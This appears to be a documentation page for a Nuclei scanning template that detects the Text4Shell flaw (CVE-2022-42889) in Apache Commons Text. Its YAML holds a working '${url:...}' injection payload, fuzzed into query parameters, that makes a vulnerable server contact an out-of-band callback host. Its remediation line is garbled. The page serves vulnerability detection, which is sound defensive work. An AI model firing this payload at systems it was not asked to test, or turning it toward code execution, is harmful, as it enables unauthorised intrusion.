Text4Shell - Remote Code Execution
ID: CVE-2022-42889
Severity: critical
Author: mordavid,princechaddha
Tags: cve,cve2022,rce,oast,text4shell,dast
Description
Section titled “Description”Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is ”${prefix:name}”, where “prefix” is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - “script” - execute expressions using the JVM script execution engine (javax.script) - “dns” - resolve dns records - “url” - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.
YAML Source
Section titled “YAML Source”id: CVE-2022-42889
info: name: Text4Shell - Remote Code Execution author: mordavid,princechaddha severity: critical description: | Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default. remediation: Upgrade to Apache Commons Text component between 1.5.0 to 1.10.0. reference: - https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om - http://www.openwall.com/lists/oss-security/2022/10/13/4 - http://www.openwall.com/lists/oss-security/2022/10/18/1 - https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/ - https://github.com/silentsignal/burp-text4shell classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-42889 cwe-id: CWE-94 metadata: max-request: 1 confidence: tenative tags: cve,cve2022,rce,oast,text4shell,dast
http: - pre-condition: - type: dsl dsl: - 'method == "GET"'
payloads: text4shell: - "${url:UTF-8:https://{{Hostname}}.q.{{interactsh-url}}}"
fuzzing: - part: query fuzz: - "{{text4shell}}"
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns"
- type: regex part: interactsh_request regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output
- type: regex part: interactsh_request group: 2 regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
- type: regex part: interactsh_request group: 1 regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output# digest: 4b0a00483046022100b4b0c092617fb0da67a9ba1daba6fb05e46310943778a0100e477801d9d43ebe0221009ccfccf8b16a26ec3f4150c837ef6ed7f3daa564fcfdb6ff5e60165b82bc9913:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "dast/cves/2022/CVE-2022-42889.yaml"